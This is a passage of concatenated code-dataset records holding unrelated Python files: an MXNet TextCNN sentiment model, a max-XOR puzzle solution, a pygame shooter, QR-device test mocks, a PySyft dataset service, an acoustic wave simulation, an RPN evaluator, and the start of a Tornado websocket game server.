train(train_iter, test_iter, net, loss, trainer, ctx, num_epochs):\n print('training on', ctx)\n if isinstance(ctx, mx.Context):\n ctx = [ctx]\n for epoch in range(num_epochs):\n train_l_sum, train_acc_sum, n, m, start = 0.0, 0.0, 0, 0, time.time()\n for i, batch in enumerate(train_iter):\n Xs, ys, batch_size = _get_batch(batch, ctx)\n ls = []\n with autograd.record():\n y_hats = [net(X) for X in Xs]\n ls = [loss(y_hat, y) for y_hat, y in zip(y_hats, ys)]\n for l in ls:\n l.backward()\n trainer.step(batch_size)\n train_l_sum += sum([l.sum().asscalar() for l in ls])\n n += sum([l.size for l in ls])\n train_acc_sum += sum([(y_hat.argmax(axis=1) == y).sum().asscalar() \n for y_hat, y in zip(y_hats, ys)])\n m += sum([y.size for y in ys])\n test_acc = evaluate_accuracy(test_iter, net, ctx)\n print('epoch %d, loss %.4f, train acc %.3f, test acc %.3f, '\n 'time %.1f sec'\n % (epoch + 1, train_l_sum / n, train_acc_sum / m, test_acc, time.time() - start))\n\n#定义预测函数\ndef predict_sentiment(net, vocab, sentence):\n sentence = nd.array(vocab.to_indices(sentence), ctx=try_gpu())\n label = nd.argmax(net(sentence.reshape((1, -1))), axis=1)\n return 'positive' if label.asscalar() == 1 else 'negative'\n\n###################################################\n#text-CNN 使用卷积循环网络进行情感分析\n#⼀维互相关运算\ndef corr1d(X, K):\n w = K.shape[0]\n Y = nd.zeros((X.shape[0] - w + 1))\n for i in range(Y.shape[0]):\n Y[i] = (X[i: i + w] * K).sum()\n return Y\n# 多输⼊通道的⼀维互相关运算 主要使⽤了⼀维卷积层和时序最⼤池化层\ndef corr1d_multi_in(X, K):\n # 我们⾸先沿着 X 和 K 的第 0 维(通道维)遍历。然后使⽤ * 将结果列表变成 add_n 函数\n # 的位置参数(positional argument)来进⾏相加。\n return nd.add_n(*[corr1d(x, k) for x, k in zip(X, K)])\n\n# textCNN 模型\nclass TextCNN(nn.Block):\n def __init__(self, vocab, embed_size, kernel_sizes, num_channels, **kwargs):\n super(TextCNN, self).__init__(**kwargs)\n self.embedding = nn.Embedding(len(vocab), embed_size)\n # 不参与训练的嵌⼊层。\n self.constant_embedding = nn.Embedding(len(vocab), embed_size)\n self.dropout = nn.Dropout(0.5)\n self.decoder = nn.Dense(2)\n # 时序最⼤池化层没有权重,所以可以共⽤⼀个实例。\n self.pool = nn.GlobalMaxPool1D()\n self.convs = nn.Sequential() # 创建多个⼀维卷积层。\n for c, k in zip(num_channels, kernel_sizes):\n self.convs.add(nn.Conv1D(c, k, activation='relu'))\n \n def forward(self, inputs):\n # 将两个形状是(批量⼤⼩,词数,词向量维度)的嵌⼊层的输出按词向量连结。\n embeddings = nd.concat(self.embedding(inputs), self.constant_embedding(inputs), dim=2)\n # 根据 Conv1D 要求的输⼊格式,将词向量维,即⼀维卷积层的通道维,变换到前⼀维。\n embeddings = embeddings.transpose((0, 2, 1))\n # 对于每个⼀维卷积层,在时序最⼤池化后会得到⼀个形状为(批量⼤⼩,通道⼤⼩,1)的\n # NDArray。使⽤ flatten 函数去掉最后⼀维,然后在通道维上连结。\n encoding = nd.concat(*[nd.flatten(self.pool(conv(embeddings))) for conv in self.convs], dim=1)\n # 应⽤丢弃法后使⽤全连接层得到输出。\n outputs = self.decoder(self.dropout(encoding))\n return outputs\n ","sub_path":"NLP/d2lzh.py","file_name":"d2lzh.py","file_ext":"py","file_size_in_byte":8602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"557974623","text":"from sys import stdin, stdout\ndef findMaximumXOR (nums):\n result = 0\n for i in reversed (range (32)):\n result <<= 1\n prefixes = set ()\n for n in nums:\n prefixes.add (n >> i)\n for p in prefixes:\n if (result | 1) ^ p in prefixes:\n result += 1\n break\n return result\n\ndef largest_sol (n, k, S):\n x = 0\n s = list (map (int, S))\n for v in s: x ^= v\n t = 0\n u = 0; v = -1; p = 1\n for i in range (n - 1, 0, -1):\n c = s [i]\n x ^= c\n t = (t + c * p % k) % k\n if c and t == 0 and x >= v:\n u = i\n v = x\n p *= 10 % k\n if v < 0: return -1\n else: return u\n\n# a = [3, 10, 5, 25, 2, 8]\nT = int (stdin.readline ())\nfor _ in range (T):\n N, K = map (int, stdin.readline ().split ())\n S = stdin.readline ().rstrip ()\n\n i = largest_sol (N, K, S)\n if i == -1: stdout.write (\"-1\\n\")\n else: stdout.write (S [i:] + '\\n')\n","sub_path":"hackercup_quali/hackerearth/max_xor.py","file_name":"max_xor.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"336392690","text":"import sys\nimport pygame #pygame 라이브러리 import\nimport os\nfrom pygame.locals import *\nimport random\nfrom time import sleep\n\npygame.init()\n\n#게임의 폭, 높이 등 전체 크기 및 사용할 png 이미지 크기\nWHITE = (255,255,255)\nRED = (255,0,0)\npad_width = 480\npad_height = 320\nbackground_width= 480\n\naircraft_width = 55\naircraft_height = 31\n\nShotship_width = 63\nShotship_height = 25\n\nsonic1_width = 55\nsonic1_height = 41\nsonic2_width = 48\nsonic2_height = 36\n\n#_______________%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%___________________________\n#text 화면 출력\ndef textObj(text,font):\n textSurface = font.render(text, True, RED)\n return textSurface, textSurface.get_rect()\n\n#text 화면 중앙에 출력\ndef dispMessage(text):\n global gamepad\n\n largeText = pygame.font.Font('freesansbold.ttf',70)\n TextSurf, TextRect = textObj(text, largeText)\n TextRect.center = ((pad_width/2),(pad_height/2))\n gamepad.blit(TextSurf,TextRect)\n pygame.display.update()\n sleep(2)\n runGame()\n# 적에게 공격당했을 때 호출\ndef crash():\n global gamepad\n dispMessage('Crashed!')\n\ndef drawObject(obj, x, y): \n global gamepad\n gamepad.blit(obj,(x,y))\n\n#_______________%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%___________________________\n# 게임 실행\ndef runGame():\n global gamepad, aircraft, clock, background1, background2\n global Shotship, sonics, bullet, boom\n\n isShotship = False\n boom_count = 0\n\n bullet_xy = []\n #우주선 최초 위치 좌표 설정\n x = pad_width * 0.05\n y = pad_height * 0.8\n y_change = 0 #비행기 좌표 변화를 나타낼 \n\n background1_x = 0\n background2_x = background_width\n \n Shotship_x = pad_width\n Shotship_y = random.randrange(0, pad_height)\n\n sonic_x = pad_width\n sonic_y = random.randrange(0, pad_height)\n random.shuffle(sonics)\n sonic = sonics[0]\n\n crashed = False\n while not crashed:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n crashed = True\n\n #키를 눌렀을 때 우주선이 위아래로 5픽셀씩 이동\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n y_change = -5\n elif event.key == pygame.K_DOWN:\n y_change = 5\n #ctrl를 누르면 총알 발사\n elif event.key == pygame.K_LCTRL:\n bullet_x = x + aircraft_width\n bullet_y = y + aircraft_height/2\n bullet_xy.append([bullet_x, bullet_y])\n \n #esc->quit\n elif event.key == K_ESCAPE:\n pygame.quit()\n return\n\n \n if event.type == pygame.KEYUP:\n if event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n y_change = 0\n \n #Clear gamepad\n gamepad.fill(WHITE)\n\n #Draw Background\n background1_x -= 2\n background2_x -= 2\n\n if background1_x == -background_width:\n background1_x = background_width\n\n if background2_x == -background_width:\n background2_x = background_width \n\n drawObject(background1,background1_x,0)\n drawObject(background2,background2_x,0)\n\n\n\n #Aircraft Position\n y += y_change\n if y < 0:\n y = 0\n elif y > pad_height - aircraft_height:\n y = pad_height - aircraft_height\n\n\n #Shotship Position\n # 적 우주선이 7픽셀씩 날아오도록 지정\n Shotship_x -= 7\n if Shotship_x <= 0:\n Shotship_x = pad_width\n Shotship_y = random.randrange(0,pad_height)\n\n #Sonic Position\n if sonic == None:\n sonic_x -= 30\n else:\n sonic_x -= 15\n\n if sonic_x <= 0:\n sonic_x = pad_width\n sonic_y = random.randrange(0,pad_height)\n random.shuffle(sonics)\n sonic = sonics[0]\n\n \n #Bullets Position\n if len(bullet_xy) != 0:\n for i, bxy in enumerate(bullet_xy):\n bxy[0] += 15\n bullet_xy[i][0] = bxy[0]\n\n #Check if bullet strite Shotship\n if bxy[0] > Shotship_x:\n if bxy[1] > Shotship_y and bxy[1] < Shotship_y + Shotship_height:\n bullet_xy.remove(bxy)\n isShotship = True\n if bxy[0] >= pad_width:\n try:\n bullet_xy.remove(bxy)\n except:\n pass\n #crash check\n if x + aircraft_width > Shotship_x:\n if ( y > Shotship_y and y < Shotship_y + Shotship_height) or \\\n (y + aircraft_height > Shotship_y and y + aircraft_height < Shotship_y + Shotship_height):\n crash()\n sonic_width = 0\n sonic_height = 0\n if sonics[0] != None:\n if sonics[0] == sonic1:\n sonic_width = sonic1_width\n sonic_height = sonic1_height\n elif sonics[0] == sonic2:\n sonic_width = sonic2_width\n sonic_height = sonic2_height\n\n\n if x + aircraft_width > sonic_x:\n if(y > sonic_y and y < sonic_y + sonic_height) or \\\n (y + aircraft_height > sonic_y and y + aircraft_height < sonic_y + sonic_height):\n crash()\n\n drawObject(aircraft,x,y)\n\n\n if len(bullet_xy) != 0:\n for bx,by in bullet_xy:\n drawObject(bullet,bx,by)\n\n if not isShotship: \n drawObject(Shotship,Shotship_x,Shotship_y)\n #총알이 적을 명중하지 않았을 때 적 우주선 새로 화면에 갱신\n #명중시 폭발 + 새로운 적 우주선 \n else:\n drawObject(boom, Shotship_x, Shotship_y)\n boom_count += 1\n if boom_count > 5:\n boom_count = 0\n Shotship_x = pad_width\n Shotship_y = random.randrange(0, pad_height - Shotship_height)\n isShotship = False\n\n if sonic != None:\n drawObject(sonic,sonic_x,sonic_y)\n \n\n pygame.display.update()\n clock.tick(60)\n\n pygame.quit()\n quit()\n#_______________%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%___________________________\n# 게임 초기화하고 시작\ndef initGame():\n global gamepad, aircraft, clock, background1, background2\n global Shotship, sonics, bullet, boom, sonic1, sonic2\n\n sonics = []\n\n pygame.init()\n gamepad = pygame.display.set_mode((pad_width, pad_height), FULLSCREEN)\n pygame.display.set_caption('Shooting game') #game title\n\n aircraft = pygame.image.load('/home/pi/BMO_project/pygame/image/spaceship.png')\n background1 = pygame.image.load(\"/home/pi/BMO_project/pygame/image/fly_background.png\")\n background2 = background1.copy() #배경이 움직이도록 이미지 복사본을 원본 다음으로 좌표 지정\n\n Shotship = pygame.image.load(\"/home/pi/BMO_project/pygame/image/Shotship.png\")\n \n sonic1 = pygame.image.load(\"/home/pi/BMO_project/pygame/image/sonic1.png\")\n sonic2 = pygame.image.load(\"/home/pi/BMO_project/pygame/image/sonic2.png\")\n sonics.append(sonic1)\n sonics.append(sonic2)\n \n boom = pygame.image.load(\"/home/pi/BMO_project/pygame/image/boom.png\")\n\n for i in range(3):\n sonics.append(None)\n\n bullet = pygame.image.load(\"/home/pi/BMO_project/pygame/image/bullet.png\")\n\n clock = pygame.time.Clock() #게임 초당 프레임 설정을 위한 Clock\n runGame()\n \n \nif __name__=='__main__':\n initGame()\n\n","sub_path":"pygame/pygame_pyflying/pyflying.py","file_name":"pyflying.py","file_ext":"py","file_size_in_byte":7802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"417648650","text":"from unittest import mock\nimport pyqrcode\n\n\ndef encode_to_string(data):\n code_str = pyqrcode.create(data, error=\"L\", mode=\"binary\").text()\n size = 0\n while code_str[size] != \"\\n\":\n size += 1\n i = 0\n padding = 0\n while code_str[i] != \"1\":\n if code_str[i] == \"\\n\":\n padding += 1\n i += 1\n code_str = code_str[(padding) * (size + 1) : -(padding) * (size + 1)]\n size -= 2 * padding\n\n new_code_str = \"\"\n for i in range(size):\n for j in range(size + 2 * padding + 1):\n if padding <= j < size + padding:\n index = i * (size + 2 * padding + 1) + j\n new_code_str += code_str[index]\n new_code_str += \"\\n\"\n\n return new_code_str\n\n\ndef get_mock_open(files: dict[str, str]):\n def open_mock(filename, *args, **kwargs):\n for expected_filename, content in files.items():\n if filename == expected_filename:\n if content == \"Exception\":\n raise Exception()\n return mock.mock_open(read_data=content).return_value\n raise FileNotFoundError(\"(mock) Unable to open {filename}\")\n\n return mock.MagicMock(side_effect=open_mock)\n\n\nclass MockPrinter:\n def __init__(self):\n pass\n\n def qr_data_width(self):\n return 33\n\n def clear(self):\n pass\n\n def print_qr_code(self, qr_code):\n pass\n\n\nclass MockQRPartParser:\n TOTAL = 10\n FORMAT = 0\n\n def __init__(self):\n self.count = 0\n self.parts = []\n self.format = MockQRPartParser.FORMAT\n\n def total_count(self):\n return MockQRPartParser.TOTAL\n\n def parsed_count(self):\n return len(self.parts)\n\n def parse(self, part):\n if part not in self.parts:\n self.parts.append(part)\n\n def is_complete(self):\n return len(self.parts) == self.total_count()\n\n def result(self):\n return \"\".join(self.parts)\n\n\nclass Mockhistogram_threshold:\n def value(self):\n return 1\n\n\nclass Mockhistogram:\n def get_threshold(self):\n return Mockhistogram_threshold()\n\n\nclass Mockqrcode:\n def __init__(self, data):\n self.data = data\n\n def payload(self):\n return self.data\n\n\nSNAP_SUCCESS = 0\nSNAP_HISTOGRAM_FAIL = 1\nSNAP_FIND_QRCODES_FAIL = 2\nSNAP_REPEAT_QRCODE = 3\n\n\ndef snapshot_generator(outcome=SNAP_SUCCESS):\n count = 0\n\n def snapshot():\n nonlocal count\n count += 1\n m = mock.MagicMock()\n if outcome == SNAP_HISTOGRAM_FAIL and count == 2:\n m.get_histogram.return_value = \"failed\"\n m.find_qrcodes.return_value = [Mockqrcode(str(count))]\n elif outcome == SNAP_FIND_QRCODES_FAIL and count == 2:\n m.get_histogram.return_value = Mockhistogram()\n m.find_qrcodes.return_value = []\n elif outcome == SNAP_REPEAT_QRCODE and count == 2:\n m.get_histogram.return_value = Mockhistogram()\n m.find_qrcodes.return_value = [Mockqrcode(str(count - 1))]\n else:\n m.get_histogram.return_value = Mockhistogram()\n m.find_qrcodes.return_value = [Mockqrcode(str(count))]\n return m\n\n return snapshot\n\n\ndef board_m5stickv():\n return mock.MagicMock(\n config={\n \"type\": \"m5stickv\",\n \"lcd\": {\"height\": 135, \"width\": 240, \"invert\": 0, \"dir\": 40, \"lcd_type\": 3},\n \"sdcard\": {\"sclk\": 30, \"mosi\": 33, \"miso\": 31, \"cs\": 32},\n \"board_info\": {\n \"ISP_RX\": 4,\n \"ISP_TX\": 5,\n \"WIFI_TX\": 39,\n \"WIFI_RX\": 38,\n \"CONNEXT_A\": 35,\n \"CONNEXT_B\": 34,\n \"MPU_SDA\": 29,\n \"MPU_SCL\": 28,\n \"MPU_INT\": 23,\n \"SPK_LRCLK\": 14,\n \"SPK_BCLK\": 15,\n \"SPK_DIN\": 17,\n \"SPK_SD\": 25,\n \"MIC_LRCLK\": 10,\n \"MIC_DAT\": 12,\n \"MIC_CLK\": 13,\n \"LED_W\": 7,\n \"LED_R\": 6,\n \"LED_G\": 9,\n \"LED_B\": 8,\n \"BUTTON_A\": 36,\n \"BUTTON_B\": 37,\n },\n \"krux\": {\n \"pins\": {\n \"BUTTON_A\": 36,\n \"BUTTON_B\": 37,\n \"LED_W\": 7,\n \"UART2_TX\": 35,\n \"UART2_RX\": 34,\n \"I2C_SCL\": 28,\n \"I2C_SDA\": 29,\n },\n \"display\": {\n \"touch\": False,\n \"font\": [8, 14],\n \"orientation\": [1, 2],\n \"inverted_coordinates\": False,\n \"qr_colors\": [16904, 61307],\n },\n \"sensor\": {\"flipped\": False, \"lenses\": False},\n },\n }\n )\n\n\ndef board_amigo_tft():\n return mock.MagicMock(\n config={\n \"type\": \"amigo_tft\",\n \"lcd\": {\"height\": 320, \"width\": 480, \"invert\": 0, \"dir\": 40, \"lcd_type\": 1},\n \"sdcard\": {\"sclk\": 11, \"mosi\": 10, \"miso\": 6, \"cs\": 26},\n \"board_info\": {\n \"BOOT_KEY\": 23,\n \"LED_R\": 14,\n \"LED_G\": 15,\n \"LED_B\": 17,\n \"LED_W\": 32,\n \"BACK\": 23,\n \"ENTER\": 16,\n \"NEXT\": 20,\n \"WIFI_TX\": 6,\n \"WIFI_RX\": 7,\n \"WIFI_EN\": 8,\n \"I2S0_MCLK\": 13,\n \"I2S0_SCLK\": 21,\n \"I2S0_WS\": 18,\n \"I2S0_IN_D0\": 35,\n \"I2S0_OUT_D2\": 34,\n \"I2C_SDA\": 27,\n \"I2C_SCL\": 24,\n \"SPI_SCLK\": 11,\n \"SPI_MOSI\": 10,\n \"SPI_MISO\": 6,\n \"SPI_CS\": 12,\n },\n \"krux\": {\n \"pins\": {\n \"BUTTON_A\": 16,\n \"BUTTON_B\": 20,\n \"BUTTON_C\": 23,\n \"LED_W\": 32,\n \"I2C_SDA\": 27,\n \"I2C_SCL\": 24,\n },\n \"display\": {\n \"touch\": True,\n \"font\": [12, 24],\n \"orientation\": [1, 0],\n \"inverted_coordinates\": True,\n \"qr_colors\": [0, 6342],\n },\n \"sensor\": {\"flipped\": True, \"lenses\": False},\n },\n }\n )\n\n\ndef board_dock():\n return mock.MagicMock(\n config={\n \"type\": \"dock\",\n \"lcd\": {\"height\": 240, \"width\": 320, \"invert\": 0, \"lcd_type\": 0},\n \"sdcard\": {\"sclk\": 27, \"mosi\": 28, \"miso\": 26, \"cs\": 29},\n \"board_info\": {\n \"BOOT_KEY\": 16,\n \"LED_R\": 13,\n \"LED_G\": 12,\n \"LED_B\": 14,\n \"MIC0_WS\": 19,\n \"MIC0_DATA\": 20,\n \"MIC0_BCK\": 18,\n },\n \"krux\": {\n \"pins\": {\"BUTTON_A\": 9, \"ENCODER\": [10, 11]},\n \"display\": {\n \"touch\": False,\n \"font\": [8, 16],\n \"orientation\": [1, 0],\n \"inverted_coordinates\": False,\n \"qr_colors\": [0, 6342],\n },\n \"sensor\": {\"flipped\": True, \"lenses\": False},\n },\n }\n )\n","sub_path":"tests/shared_mocks.py","file_name":"shared_mocks.py","file_ext":"py","file_size_in_byte":7365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"52389670","text":"# stdlib\nfrom typing import List\nfrom typing import Union\n\n# relative\nfrom ....telemetry import instrument\nfrom ...common.serde.serializable import serializable\nfrom ...common.uid import UID\nfrom .context import AuthedServiceContext\nfrom .dataset import Asset\nfrom .dataset import CreateDataset\nfrom .dataset import Dataset\nfrom .dataset_stash import DatasetStash\nfrom .document_store import DocumentStore\nfrom .response import SyftError\nfrom .response import SyftSuccess\nfrom .service import AbstractService\nfrom .service import SERVICE_TO_TYPES\nfrom .service import TYPE_TO_SERVICE\nfrom .service import service_method\n\n\n@instrument\n@serializable(recursive_serde=True)\nclass DatasetService(AbstractService):\n store: DocumentStore\n stash: DatasetStash\n\n def __init__(self, store: DocumentStore) -> None:\n self.store = store\n self.stash = DatasetStash(store=store)\n\n @service_method(path=\"dataset.add\", name=\"add\")\n def add(\n self, context: AuthedServiceContext, dataset: CreateDataset\n ) -> Union[SyftSuccess, SyftError]:\n \"\"\"Add a Dataset\"\"\"\n result = self.stash.set(dataset.to(Dataset, context=context))\n if result.is_err():\n return SyftError(message=str(result.err()))\n return SyftSuccess(message=\"Dataset Added\")\n\n @service_method(path=\"dataset.get_all\", name=\"get_all\")\n def get_all(self, context: AuthedServiceContext) -> Union[List[Dataset], SyftError]:\n \"\"\"Get a Dataset\"\"\"\n result = self.stash.get_all()\n if result.is_ok():\n datasets = result.ok()\n results = []\n for dataset in datasets:\n dataset.node_uid = context.node.id\n results.append(dataset)\n return results\n return SyftError(message=result.err())\n\n @service_method(path=\"dataset.search\", name=\"search\")\n def search(\n self, context: AuthedServiceContext, name: str\n ) -> Union[List[Dataset], SyftError]:\n \"\"\"Search a Dataset by name\"\"\"\n results = self.get_all(context)\n\n return (\n results\n if isinstance(results, SyftError)\n else [dataset for dataset in results if name in dataset.name]\n )\n\n @service_method(path=\"dataset.get_by_id\", name=\"get_by_id\")\n def get_by_id(\n self, context: AuthedServiceContext, uid: UID\n ) -> Union[SyftSuccess, SyftError]:\n \"\"\"Get a Dataset\"\"\"\n result = self.stash.get_by_uid(uid=uid)\n if result.is_ok():\n dataset = result.ok()\n dataset.node_uid = context.node.id\n return dataset\n return SyftError(message=result.err())\n\n @service_method(path=\"dataset.get_by_action_id\", name=\"get_by_action_id\")\n def get_by_action_id(\n self, context: AuthedServiceContext, uid: UID\n ) -> Union[List[Dataset], SyftError]:\n \"\"\"Get Datasets by an Action ID\"\"\"\n result = self.stash.search_action_ids(uid=uid)\n if result.is_ok():\n datasets = result.ok()\n for dataset in datasets:\n dataset.node_uid = context.node.id\n return datasets\n return SyftError(message=result.err())\n\n @service_method(\n path=\"dataset.get_assets_by_action_id\", name=\"get_assets_by_action_id\"\n )\n def get_assets_by_action_id(\n self, context: AuthedServiceContext, uid: UID\n ) -> Union[List[Asset], SyftError]:\n \"\"\"Get Assets by an Action ID\"\"\"\n datasets = self.get_by_action_id(context=context, uid=uid)\n assets = []\n if isinstance(datasets, list):\n for dataset in datasets:\n for asset in dataset.asset_list:\n if asset.action_id == uid:\n assets.append(asset)\n return assets\n elif isinstance(datasets, SyftError):\n return datasets\n return []\n\n\nTYPE_TO_SERVICE[Dataset] = DatasetService\nSERVICE_TO_TYPES[DatasetService].update({Dataset})\n","sub_path":"packages/syft/src/syft/core/node/new/dataset_service.py","file_name":"dataset_service.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"153067322","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nCreated on Wed Oct 12 13:58:45 2016\r\n\r\n@author: Louis\r\n\"\"\"\r\n\r\nimport numpy\r\nimport scipy.integrate\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation as an\r\nimport time\r\nimport random\r\n\r\n\"\"\"\r\nProblem 2\r\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n\"\"\"\r\nc= 3.43e2 #m/s\r\nh = .366 #m\r\n#dt = h/(2*c)/2.\r\ndt = .0005\r\nw = 100* numpy.pi #1/s\r\np0 = 10#Pa\r\ntimes = numpy.linspace(0,1.007,1.007/dt)\r\nspeedup = numpy.zeros((200,2))\r\nspeedup[3:41,:] =(1,99) \r\nspeedup[41:78,:]=(28,72)\r\nspeedup[78:123,:]=(18,76)\r\nspeedup[123:160,:]=(28,72)\r\nspeedup[160:197,:]=(1,99)\r\n\r\n\r\nglobal pierce\r\nglobal p\r\n\r\ndef drive(n):\r\n return(p0*numpy.sin(w*n*dt))\r\n\r\n\r\ndef initialize():\r\n global p\r\n p=numpy.zeros((100,200,len(times)))\r\n p[57:61,15:19,1]=drive(1)\r\n\r\ndef calculate():\r\n global p\r\n initialize()\r\n \r\n for i in range(2,int(.3/dt)):\r\n for k in range(4,197):\r\n for j in range(int(speedup[k][0]),int(speedup[k][1])):\r\n p[j,k,i]=2*p[j,k,i-1]-p[j,k,i-2] + c*c*dt*dt/(h*h)*(p[j+1,k,i-1]*(1-pierce[j+1,k]) + p[j,k+1,i-1]*(1-pierce[j,k+1]) +p[j-1,k,i-1]*(1-pierce[j-1,k]) +p[j,k-1,i-1]*(1-pierce[j,k-1])-(4-pierce[j-1,k]-pierce[j+1,k]-pierce[j,k-1]-pierce[j,k+1])*p[j,k,i-1] )\r\n \r\n p[57:61,15:19,i]=drive(i)\r\n if(i%(len(times)/10)==0):\r\n print(\"percent complete:\")\r\n print((i*100)/(len(times)))\r\n \r\n\r\ndef video():\r\n global p\r\n global anim\r\n fig=plt.figure()\r\n ims=[]\r\n for i in range(len(times)):\r\n t = str(dt*i)\r\n im = plt.imshow(p[:,:,i],cmap = 'seismic',clim=(-10,10),animated = True)\r\n ims.append([im])\r\n anim = an.ArtistAnimation(fig,ims,interval = 50)\r\n plt.scatter(building[0],building[1],marker = 's', color = 'black',s = 1 )\r\n plt.show()\r\n \r\n \r\ndef plot(i):\r\n global p\r\n plt.clf()\r\n plt.imshow(p[:,:,i],cmap = 'seismic',clim=(-10,10))\r\n plt.colorbar()\r\n plt.scatter(building[0],building[1],marker = 's', color = 'black',s = 1 )\r\n plt.title('time =' + str(dt*i) + 's')\r\n \r\n \r\ndef buildingpoints():\r\n global building\r\n building = []\r\n for i in range(100):\r\n for k in range(200):\r\n if(pierce[i,k]==1):\r\n building.append([k,i])\r\n building = numpy.transpose(building)\r\n \r\n \r\ndef pressureexceeds():\r\n for i in range(len(times)):\r\n if(abs(p[73,35,i])>=.001):\r\n print('C @'+str(dt*i))\r\n break\r\n for i in range(len(times)): \r\n if(abs(p[109,61,i])>=.001):\r\n print('G @'+str(dt*i))\r\n break\r\n for i in range(len(times)):\r\n if(abs(p[188,91,i])>=.001):\r\n print('M @'+str(dt*i))\r\n break\r\n","sub_path":"hw4/HW4.py","file_name":"HW4.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"135563035","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 13 22:25:41 2016\n\n@author: owen\n\"\"\"\n\n#class Solution(object):\n# def evalRPN(self, tokens):\n# \"\"\"\n# :type tokens: List[str]\n# :rtype: int\n# \"\"\"\n# stack=[]\n# for token in tokens:\n# if token not in ('+','-','*','/'):\n# stack.append(int(token))\n# else:\n# r, l = stack.pop(), stack.pop() # r gets the 1st pop (the most right one), l gets the 2nd pop, \n# if token=='+':\n# stack.append(l+r)\n# elif token=='-':\n# stack.append(l-r)\n# elif token=='*':\n# stack.append(l*r)\n# else:\n# # here take care of the case like \"1//-22\", it requires that division between two integers should truncate toward zero.\n# # in Python 3.x, it returns -1, while in Leetcode it should return 0. \n# # In C, / round to 0, in python / or // round to floor, lower integer\n# if l*r < 0 and l % r != 0:\n# stack.append(int(l//r)+1)\n# else:\n# stack.append(l//r)\n# return stack.pop() \n\n\nclass Solution:\n def evalRPN(self, tokens):\n \"\"\"\n :type tokens: List[str]\n :rtype: int\n \"\"\"\n # assume tokens are not empty and expression is valid\n stk = []\n for token in tokens:\n if token not in {'+', '-', '*', '/'}: # can not use t.isdigit(), e.g. \"-2\".isdigit() returns False\n stk.append(int(token))\n else:\n if len(stk) >= 2:\n op2, op1 = stk.pop(), stk.pop()\n if token == '+':\n stk.append(op1 + op2)\n elif token == '-':\n stk.append(op1 - op2)\n elif token == '*':\n stk.append(op1 * op2)\n elif token == '/':\n stk.append(int(op1 / op2)) # for python 3.x\n \n# stk.append(int(float(op1) / op2)) # for python 2.x\n\n# stk.append(int(operator.truediv(3,-2))) # import operator\n\n# if op1 * op2 < 0:\n# stk.append(-((-op1) // op2))\n# else:\n# stk.append(op1 // op2)\n return stk[-1]\n \n \nif __name__ == \"__main__\":\n print(Solution().evalRPN([\"2\", \"1\", \"+\", \"3\", \"*\"]))\n print(Solution().evalRPN([\"4\", \"13\", \"5\", \"/\", \"+\"]))\n print(Solution().evalRPN([\"10\",\"6\",\"9\",\"3\",\"+\",\"-11\",\"*\",\"/\",\"*\",\"17\",\"+\",\"5\",\"+\"])) #22\n print(Solution().evalRPN([\"4\",\"-2\",\"/\",\"2\",\"-3\",\"-\",\"-\"])) \n ","sub_path":"150. Evaluate Reverse Polish Notation.py","file_name":"150. Evaluate Reverse Polish Notation.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"426472311","text":"import tornado.web\nimport tornado.websocket\nimport json\nimport time\n\nfrom board_state_reboot import *\n\ngames = {}\nnext_game_id = 0\n\nclass Game:\n\tdef __init__(self, name, password, host, id):\n\t\tself.clients = []\n\t\tself.name = name\n\t\tself.password = password\n\t\tself.next_user_id = 0\n\t\tself.host = host\n\t\tself.game_id = id\n\t\tself.board_state = BoardState()\n\n\tdef get_abridged_clients(self, local):\n\t\tabridged_users = []\n\n\t\tfor client in self.clients:\n\t\t\tabridged_users.append({\n\t\t\t\t\"id\" : client.user_id,\n\t\t\t\t\"name\" : client.name,\n\t\t\t\t\"color\" : client.color,\n\t\t\t\t\"host\" : 1 if client.user_id == self.host.user_id else 0,\n\t\t\t\t\"local\" : 1 if local is not None and client.user_id == local.user_id else 0\n\t\t\t})\n\t\treturn abridged_users\n\n\tdef getClientFromID(self, id):\n\t\tfor client in self.clients:\n\t\t\tif client.user_id == id:\n\t\t\t\treturn client\n\t\treturn None\n\n\tdef connect(self, new_client):\n\t\tnew_client.user_id = self.next_user_id\n\t\tself.next_user_id += 1\n\t\tnew_client.game = self\n\n\t\tgroupResponse = {\n\t\t\t\"type\" : \"userConnect\",\n\t\t\t\"data\" : [\n\t\t\t\t{\n\t\t\t\t\t\"user\" : new_client.user_id,\n\t\t\t\t\t\"name\" : new_client.name,\n\t\t\t\t\t\"color\" : new_client.color\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\t\tself.message_all(groupResponse)\n\t\tself.clients.append(new_client)\n\n\t\tabridged_users = self.get_abridged_clients(new_client)\n\t\tmainResponse = {\n\t\t\t\"type\" : \"initSuccess\",\n\t\t\t\"data\" : {\n\t\t\t\t\"gameName\" : self.name,\n\t\t\t\t\"users\" : abridged_users\n\t\t\t}\n\t\t}\n\t\tnew_client.write_message(json.dumps(mainResponse))\n\n\tdef disconnect(self, client, reason):\n\t\tself.clients.remove(client)\n\n\t\tif client.user_id == self.host.user_id:\n\t\t\tif 